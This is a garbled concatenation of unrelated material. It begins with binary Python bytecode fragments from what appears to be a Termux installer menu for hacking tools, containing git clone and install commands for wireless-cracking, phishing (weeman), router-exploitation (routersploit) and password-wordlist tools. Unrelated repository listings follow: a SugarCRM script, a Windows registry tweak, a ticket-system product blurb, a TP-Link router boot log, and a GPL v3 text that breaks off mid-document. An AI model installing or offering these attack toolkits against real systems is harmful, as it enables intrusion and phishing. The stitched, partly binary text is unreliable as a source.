Installing DSSSs*\x00\x00\x00git clone https://github.com/stamparm/DSSSt\x02\x00\x00\x0026s\x15\x00\x00\x00---# Installing SQLivs+\x00\x00\x00git clone https://github.com/Hadesy2k/sqlivt\x02\x00\x00\x0027s\x16\x00\x00\x00---# Installing Wifites*\x00\x00\x00git clone https://github.com/derv82/wifitet\x02\x00\x00\x0028s\x18\x00\x00\x00---# Installing Wifite 2s+\x00\x00\x00git clone https://github.com/derv82/wifite2t\x02\x00\x00\x0029s\x15\x00\x00\x00---# Installing MSFPCs(\x00\x00\x00git clone https://github.com/g0tmi1k/mpct\x02\x00\x00\x0030s\x16\x00\x00\x00---# Installing Kwetzas-\x00\x00\x00git clone https://github.com/sensepost/kwetzas\x1b\x00\x00\x00pip2 install beautifulsoup4t\x02\x00\x00\x0031s\x18\x00\x00\x00---# Installing ReconDogs5\x00\x00\x00git clone https://github.com/UltimateHackers/ReconDogt\x02\x00\x00\x0032s\x16\x00\x00\x00---# Installing Meishas,\x00\x00\x00git clone https://github.com/Gameye98/Meishat\x02\x00\x00\x0033s\x1e\x00\x00\x00---# Installing Kali NetHunters7\x00\x00\x00git clone https://github.com/Hax4us/Nethunter-In-Termuxs-\x00\x00\x00cd Nethunter-In-Termux;chmod +x kalinethuntert\x02\x00\x00\x0034s\x15\x00\x00\x00---# Installing Ngroks1\x00\x00\x00git clone https://github.com/themastersunil/ngrokt\x02\x00\x00\x0035s\x16\x00\x00\x00---# Installing Weemans2\x00\x00\x00git clone https://github.com/evait-security/weemans\x1c\x00\x00\x00cd weeman;chmod +x weeman.pyt\x02\x00\x00\x0036s\x14\x00\x00\x00---# Installing Cupps\'\x00\x00\x00git clone https://github.com/Mebus/cuppt\x02\x00\x00\x0037s\x1b\x00\x00\x00---# Installing Hash-Busters8\x00\x00\x00git clone https://github.com/UltimateHackers/Hash-Bustert\x02\x00\x00\x0038s\x1c\x00\x00\x00---# Installing Routersploits7\x00\x00\x00git clone https://github.com/reverse-shell/routersploitsn\x00\x00\x00cd routersploit;pip2 install -r requirements.txt;pip2 install -r requirements-dev.txt;pip2 install -r requestst\x02\x00\x00\x0039s\x16\x00\x00\x00---# Installing Ubuntus2\x00\x00\x00git clone https://github.com/Neo-Oli/termux-ubuntus"\x00\x00\x00cd termux-ubuntu && bash ubuntu.sht\x02\x00\x00\x0040s\x16\x00\x00\x00---# Installing Fedoras\x14\x00\x00\x00apt install wget gitsy\x00\x00\x00/data/data/com.termux/files/usr/bin/wget https://raw.githubusercontent.com/nmilosev/termux-fedora/master/termux-fedora.shs\x16\x00\x00\x00[!] ERROR: Wrong Input(\t\x00\x00\x00R\x02\x00\x00\x00R\x00\x00\x00\x00R\x08\x00\x00\x00t\x06\x00\x00\x00systemt\t\x00\x00\x00raw_inputt\x07\x00\x00\x00lazymuxt\x05\x00\x00\x00stript\x05\x00\x00\x00splitt\x04\x00\x00\x00exit(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>t\x08\x00\x00\x00<module>\x05\x00\x00\x00s\xa0\x02\x00\x00\x18\x03\t\x06\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x01\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x0c\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\x08\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\r\x01\x05\x01\r\x01\x18\x01\x05\x01\r\x01\r\x01\r\x01\x05\x01\r\x03\x05\x01'''))
blak3r / Sugarcrm Update Calculated FieldsSimple script which can be called by the scheduler nightly to force calculated fields to be updated.
yellowJennifer / DisableForcedWindowsUpdatePowerOptionsa registry key file that brings the values of the items that show on the power off menu, back to the normal ones "Shut down" and "Restart", with no forced update, for Windows 10 and 11
thebibek / Quick Support Tickets System And Knowledge BaseQuick support PRO Version Features: Remote Server Login (Single sign on – SSO): It’s a special and unique feature. If you have any existing service with lot of existing user. And you want to use that service’s login in this application, then you can do that easily in this app. Web Chat: Live web chat feature added. You client can contact with your agent using live chat. You can set easily everything Email to Ticket (Email Piping): Tickets can be created by simply sending an email. Ticket responses can also be created by replying to the same email. User feedback: Feedback are collected through special emails sent out to user with a like and a dislike button. These buttons link to a feedback form which the users can use to provide their detailed feedback. It’s a unique feature of this application. Proactive Search: Easy to use search – smart search engine can find relevant articles even with spelling mistakes Timezone Control: It’s another unique feature of this application. It auto control the timezone based your user’s IP. That means user will see user’s timezone time and Admin will see admin’t timezone time. Highly Secured: Uploaded file security, CSRF protection, brute force security, admin user login failure auto back off, auto suspicious IP block. You can also manually block any ip or release any ip. Category-wise Custom Fields: You can set category wise custom field on ticket creation. We know all field are not suitable for all category so we can add field for all category or for individual category. Social Network Integration: It has Google, Facebook, Twitter, LinkedIn, GitHub and Yahoo user’s login module. You can choose all of any. It has a nice control panel for social network integration. Customized Payment: It’s a very useful feature.You can set a payment of any amount for any service (i.e., hosting fee, maintenance fees) from on any ticket when required. Multiple Text Editors: Use the rich text editor of your choice. Customizable Roles and Privileges: Create user groups with roles and privileges of your choice and add the intended users to the group. You have full control your application. You can create any named role with any privileges. Additional Menus : Create your own customized menus through the admin panel Easy Customizable Email Templates and Canned Message: Modify pre-existing templates to send emails to customers. we don’t want to say much on it, Our hardly request to see once in live preview then you will see how easy it is. Easy Customizable Canned Message : It also same as email template. So easy to design or write any canned message. Announcements or notifications : Create announcements or notifications for visitors or admin users or both with start time and end time. Sometimes you may want to display any message to your visitor then you can use it. Multiple Theme & Any App Color : It has multiple theme and you can choose any color of that theme. We will design many theme in future time to time in future version. It has auto update feature so you will get all theme in future. Manage File Upload : Limit file upload with size and type. And another unique feature is all uploaded file only accessable by admin user and only that user who is uploaded. So no one can download any private file if they have the file direct link too. Multi-Languages: Yes,it is supported multi-language. You can also choose language separately for Admin Panel and Site Admin Notification: Email Notification and second one is On Screen Notification Ticket Auto Closing: Ticket auto closing feature added. Ticket will be close by your settings GDPR Compliance: Yes, It has GDPR Compliance setting you can enable it easily Work Log : Staff can add work log and can see the full work log in ticket details. Ticket Auto Assign Rule: Ticket auto assigning rule added. By this feature you can set your rule for assign.This rule will be work like a supervisor Ticket Auto Closing: Admin can create ticket on behalf of client. Admin Note: Admin can add note on Ticket or Client
HADES-GOD / 0.000000 Linux Version 3.3.8 Cindy Cindy Laptop Gcc Version 4.6.3 20120201 Prerelease Lina0.000000] Linux version 3.3.8 (cindy@cindy-laptop) (gcc version 4.6.3 20120201 (prerelease) (Linaro GCC 4.6-2012.02) ) #6 Thu Jan 10 11:39:41 WIT 2013 [ 0.000000] MyLoader: sysp=8b8b81ac, boardp=96e34c72, parts=b298aa77 [ 0.000000] bootconsole [early0] enabled [ 0.000000] CPU revision is: 0001974c (MIPS 74Kc) [ 0.000000] SoC: Atheros AR9341 rev 3 [ 0.000000] Clocks: CPU:535.000MHz, DDR:400.000MHz, AHB:200.000MHz, Ref:25.000MHz [ 0.000000] Determined physical RAM map: [ 0.000000] memory: 02000000 @ 00000000 (usable) [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] Zone PFN ranges: [ 0.000000] Normal 0x00000000 -> 0x00002000 [ 0.000000] Movable zone start PFN for each node [ 0.000000] Early memory PFN ranges [ 0.000000] 0: 0x00000000 -> 0x00002000 [ 0.000000] On node 0 totalpages: 8192 [ 0.000000] free_area_init_node: node 0, pgdat 802d6270, node_mem_map 81000000 [ 0.000000] Normal zone: 64 pages used for memmap [ 0.000000] Normal zone: 0 pages reserved [ 0.000000] Normal zone: 8128 pages, LIFO batch:0 [ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768 [ 0.000000] pcpu-alloc: [0] 0 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 8128 [ 0.000000] Kernel command line: board=TL-WR841N-v8 console=ttyS0,115200 rootfstype=squashfs,jffs2 noinitrd [ 0.000000] PID hash table entries: 128 (order: -3, 512 bytes) [ 0.000000] Dentry cache hash table entries: 4096 (order: 2, 16384 bytes) [ 0.000000] Inode-cache hash table entries: 2048 (order: 1, 8192 bytes) [ 0.000000] Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes [ 0.000000] Writing ErrCtl register=00000000 [ 0.000000] Readback ErrCtl register=00000000 [ 0.000000] Memory: 29112k/32768k available (2115k kernel code, 3656k reserved, 406k data, 212k init, 0k highmem) [ 0.000000] SLUB: Genslabs=9, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 0.000000] NR_IRQS:51 [ 0.000000] Calibrating delay loop... 266.64 BogoMIPS (lpj=1333248) [ 0.080000] pid_max: default: 32768 minimum: 301 [ 0.080000] Mount-cache hash table entries: 512 [ 0.090000] NET: Registered protocol family 16 [ 0.090000] gpiochip_add: registered GPIOs 0 to 22 on device: ath79 [ 0.100000] MIPS: machine is TP-LINK TL-MR3420 v2 | TP-LINK TL-WR841N/ND v8 [ 0.520000] bio: create slab <bio-0> at 0 [ 0.520000] Switching to clocksource MIPS [ 0.530000] NET: Registered protocol family 2 [ 0.530000] IP route cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.540000] TCP established hash table entries: 1024 (order: 1, 8192 bytes) [ 0.550000] TCP bind hash table entries: 1024 (order: 0, 4096 bytes) [ 0.550000] TCP: Hash tables configured (established 1024 bind 1024) [ 0.560000] TCP reno registered [ 0.560000] UDP hash table entries: 256 (order: 0, 4096 bytes) [ 0.570000] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes) [ 0.570000] NET: Registered protocol family 1 [ 0.580000] PCI: CLS 0 bytes, default 32 [ 0.590000] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.600000] JFFS2 version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc. [ 0.610000] msgmni has been set to 56 [ 0.610000] io scheduler noop registered [ 0.620000] io scheduler deadline registered (default) [ 0.620000] Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled [ 0.650000] serial8250.0: ttyS0 at MMIO 0x18020000 (irq = 11) is a 16550A [ 0.660000] console [ttyS0] enabled, bootconsole disabled [ 0.670000] m25p80 spi0.0: found s25sl032a, expected m25p80 [ 0.680000] m25p80 spi0.0: s25sl032a (4096 Kbytes) [ 0.680000] 5 tp-link partitions found on MTD device spi0.0 [ 0.690000] Creating 5 MTD partitions on "spi0.0": [ 0.690000] 0x000000000000-0x000000020000 : "u-boot" [ 0.700000] 0x000000020000-0x000000101880 : "kernel" [ 0.710000] mtd: partition "kernel" must either start or end on erase block boundary or be smaller than an erase block -- forcing read-only [ 0.720000] 0x000000101880-0x0000003f0000 : "rootfs" [ 0.730000] mtd: partition "rootfs" must either start or end on erase block boundary or be smaller than an erase block -- forcing read-only [ 0.740000] mtd: partition "rootfs" set to be root filesystem [ 0.750000] mtd: partition "rootfs_data" created automatically, ofs=3A0000, len=50000 [ 0.750000] 0x0000003a0000-0x0000003f0000 : "rootfs_data" [ 0.760000] 0x0000003f0000-0x000000400000 : "art" [ 0.770000] 0x000000020000-0x0000003f0000 : "firmware" [ 0.790000] ag71xx_mdio: probed [ 0.800000] eth0: Atheros AG71xx at 0xb9000000, irq 4 [ 1.350000] ag71xx ag71xx.0: eth0: connected to PHY at ag71xx-mdio.1:00 [uid=004dd042, driver=Generic PHY] [ 1.370000] eth1: Atheros AG71xx at 0xba000000, irq 5 [ 1.920000] eth1: Found an AR934X built-in switch [ 2.960000] zram: num_devices not specified. Using default: 1 [ 2.960000] zram: Creating 1 devices ... [ 2.970000] TCP cubic registered [ 2.970000] NET: Registered protocol family 17 [ 2.980000] 8021q: 802.1Q VLAN Support v1.8 [ 2.990000] VFS: Mounted root (squashfs filesystem) readonly on device 31:2. [ 3.000000] Freeing unused kernel memory: 212k freed [ 5.010000] Registered led device: tp-link:green:lan1 [ 5.010000] Registered led device: tp-link:green:lan2 [ 5.010000] Registered led device: tp-link:green:lan3 [ 5.010000] Registered led device: tp-link:green:lan4 [ 5.010000] Registered led device: tp-link:green:qss [ 5.010000] Registered led device: tp-link:green:system [ 5.010000] Registered led device: tp-link:green:wan [ 5.020000] Registered led device: tp-link:green:wlan [ 8.300000] JFFS2 notice: (419) jffs2_build_xattr_subsystem: complete building xattr subsystem, 4 of xdatum (0 unchecked, 3 orphan) and 56 of xref (0 dead, 44 orphan) found. [ 9.010000] SCSI subsystem initialized [ 9.250000] usbcore: registered new interface driver usbfs [ 9.260000] usbcore: registered new interface driver hub [ 9.270000] usbcore: registered new device driver usb [ 9.780000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 9.790000] ehci-platform ehci-platform: Generic Platform EHCI Controller [ 9.790000] ehci-platform ehci-platform: new USB bus registered, assigned bus number 1 [ 9.830000] ehci-platform ehci-platform: irq 3, io mem 0x1b000000 [ 9.850000] ehci-platform ehci-platform: USB 2.0 started, EHCI 1.00 [ 9.850000] hub 1-0:1.0: USB hub found [ 9.860000] hub 1-0:1.0: 1 port detected [ 9.960000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver [ 10.050000] uhci_hcd: USB Universal Host Controller Interface driver [ 10.150000] Initializing USB Mass Storage driver... [ 10.150000] usbcore: registered new interface driver usb-storage [ 10.160000] USB Mass Storage support registered. [ 31.940000] Compat-drivers backport release: compat-drivers-2012-09-04-2-gddac993 [ 31.940000] Backport based on wireless-testing.git master-2012-09-07 [ 31.950000] compat.git: wireless-testing.git [ 32.140000] cfg80211: Calling CRDA to update world regulatory domain [ 32.140000] cfg80211: World regulatory domain updated: [ 32.150000] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) [ 32.160000] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 32.160000] cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 32.170000] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 32.180000] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 32.190000] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 33.200000] ath: EEPROM regdomain: 0x0 [ 33.200000] ath: EEPROM indicates default country code should be used [ 33.200000] ath: doing EEPROM country->regdmn map search [ 33.200000] ath: country maps to regdmn code: 0x3a [ 33.200000] ath: Country alpha2 being used: US [ 33.200000] ath: Regpair used: 0x3a [ 33.210000] ieee80211 phy0: Selected rate control algorithm 'minstrel_ht' [ 33.210000] Registered led device: ath9k-phy0 [ 33.210000] ieee80211 phy0: Atheros AR9340 Rev:0 mem=0xb8100000, irq=47 [ 33.230000] cfg80211: Calling CRDA for country: US [ 33.230000] cfg80211: Regulatory domain changed to country: US [ 33.240000] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) [ 33.240000] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2700 mBm) [ 33.250000] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 1700 mBm) [ 33.260000] cfg80211: (5250000 KHz - 5330000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 33.270000] cfg80211: (5490000 KHz - 5600000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 33.280000] cfg80211: (5650000 KHz - 5710000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 33.280000] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 3000 mBm) [ 33.310000] NET: Registered protocol family 8 [ 33.320000] NET: Registered protocol family 20 [ 33.740000] PPP generic driver version 2.4.2 [ 33.780000] tun: Universal TUN/TAP device driver, 1.6 [ 33.780000] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com> [ 33.890000] ip_tables: (C) 2000-2006 Netfilter Core Team [ 34.100000] NET: Registered protocol family 24 [ 34.220000] nf_conntrack version 0.5.0 (458 buckets, 1832 max) [ 34.840000] usbcore: registered new interface driver cdc_acm [ 34.840000] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters [ 35.050000] usbcore: registered new interface driver usbserial [ 35.050000] USB Serial support registered for generic [ 35.060000] usbcore: registered new interface driver usbserial_generic [ 35.060000] usbserial: USB Serial Driver core [ 35.160000] USB Serial support registered for Sierra USB modem [ 35.160000] usbcore: registered new interface driver sierra [ 35.170000] sierra: v.1.7.40:USB Driver for Sierra Wireless USB modems [ 35.190000] usbcore: registered new interface driver sierra_net [ 35.230000] usbcore: registered new interface driver ums-alauda [ 35.250000] usbcore: registered new interface driver ums-cypress [ 35.280000] usbcore: registered new interface driver ums-datafab [ 35.300000] usbcore: registered new interface driver ums-freecom [ 35.320000] usbcore: registered new interface driver ums-isd200 [ 35.340000] usbcore: registered new interface driver ums-jumpshot [ 35.360000] usbcore: registered new interface driver ums-karma [ 35.380000] usbcore: registered new interface driver ums-sddr09 [ 35.410000] usbcore: registered new interface driver ums-sddr55 [ 35.430000] usbcore: registered new interface driver ums-usbat [ 35.520000] usbcore: registered new interface driver cdc_ether [ 35.610000] hso: drivers/net/usb/hso.c: Option Wireless [ 35.610000] usbcore: registered new interface driver hso [ 35.790000] usbcore: registered new interface driver rndis_host [ 35.990000] USB Serial support registered for ark3116 [ 35.990000] usbcore: registered new interface driver ark3116 [ 36.000000] ark3116:v0.7:USB ARK3116 serial/IrDA driver [ 36.090000] USB Serial support registered for Belkin / Peracom / GoHubs USB Serial Adapter [ 36.100000] usbcore: registered new interface driver belkin [ 36.110000] belkin_sa: v1.3:USB Belkin Serial converter driver [ 36.210000] USB Serial support registered for ch341-uart [ 36.210000] usbcore: registered new interface driver ch341 [ 36.300000] USB Serial support registered for cp210x [ 36.310000] usbcore: registered new interface driver cp210x [ 36.310000] cp210x: v0.09:Silicon Labs CP210x RS232 serial adaptor driver [ 36.330000] USB Serial support registered for DeLorme Earthmate USB [ 36.340000] USB Serial support registered for HID->COM RS232 Adapter [ 36.350000] USB Serial support registered for Nokia CA-42 V2 Adapter [ 36.350000] usbcore: registered new interface driver cypress [ 36.360000] cypress_m8: v1.10:Cypress USB to Serial Driver [ 36.450000] USB Serial support registered for FTDI USB Serial Device [ 36.460000] usbcore: registered new interface driver ftdi_sio [ 36.460000] ftdi_sio: v1.6.0:USB FTDI Serial Converters Driver [ 36.480000] USB Serial support registered for IPWireless converter [ 36.490000] usbcore: registered new interface driver ipwtty [ 36.490000] ipw: v0.4:IPWireless tty driver [ 36.590000] USB Serial support registered for Keyspan - (without firmware) [ 36.590000] USB Serial support registered for Keyspan 1 port adapter [ 36.600000] USB Serial support registered for Keyspan 2 port adapter [ 36.610000] USB Serial support registered for Keyspan 4 port adapter [ 36.610000] usbcore: registered new interface driver keyspan [ 36.620000] keyspan: v1.1.5:Keyspan USB to Serial Converter Driver [ 36.640000] USB Serial support registered for MCT U232 [ 36.650000] usbcore: registered new interface driver mct_u232 [ 36.650000] mct_u232: z2.1:Magic Control Technology USB-RS232 converter driver [ 36.680000] USB Serial support registered for Moschip 2 port adapter [ 36.690000] mos7720: 2.1:Moschip USB Serial Driver [ 36.690000] usbcore: registered new interface driver moschip7720 [ 36.710000] USB Serial support registered for moto-modem [ 36.720000] usbcore: registered new interface driver moto-modem [ 36.810000] USB Serial support registered for GSM modem (1-port) [ 36.810000] usbcore: registered new interface driver option [ 36.820000] option: v0.7.2:USB Driver for GSM modems [ 36.840000] USB Serial support registered for oti6858 [ 36.840000] usbcore: registered new interface driver oti6858 [ 36.870000] USB Serial support registered for pl2303 [ 36.870000] usbcore: registered new interface driver pl2303 [ 36.880000] pl2303: Prolific PL2303 USB to serial adaptor driver [ 36.900000] USB Serial support registered for Qualcomm USB modem [ 36.910000] usbcore: registered new interface driver qcserial [ 37.020000] USB Serial support registered for TI USB 3410 1 port adapter [ 37.020000] USB Serial support registered for TI USB 5052 2 port adapter [ 37.030000] usbcore: registered new interface driver ti_usb_3410_5052 [ 37.040000] ti_usb_3410_5052: v0.10:TI USB 3410/5052 Serial Driver [ 37.120000] USB Serial support registered for Handspring Visor / Palm OS [ 37.130000] USB Serial support registered for Sony Clie 3.5 [ 37.140000] USB Serial support registered for Sony Clie 5.0 [ 37.140000] usbcore: registered new interface driver visor [ 37.150000] visor: USB HandSpring Visor / Palm OS driver [ 41.780000] device eth1 entered promiscuous mode [ 42.380000] eth1: link up (1000Mbps/Full duplex) [ 42.380000] br-lan: port 1(eth1) entered forwarding state [ 42.390000] br-lan: port 1(eth1) entered forwarding state [ 44.390000] br-lan: port 1(eth1) entered forwarding state [ 45.490000] device wlan0 entered promiscuous mode [ 46.530000] br-lan: port 2(wlan0) entered forwarding state [ 46.540000] br-lan: port 2(wlan0) entered forwarding state [ 48.540000] br-lan: port 2(wlan0) entered forwarding state [ 58.970000] Adding 10236k swap on /dev/zram0. Priority:-1 extents:1 across:10236k SS
frankmalcolmkembery / GNU GENERAL PUBLIC LICENSE Version 3 29 June 2007 CopyGNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. 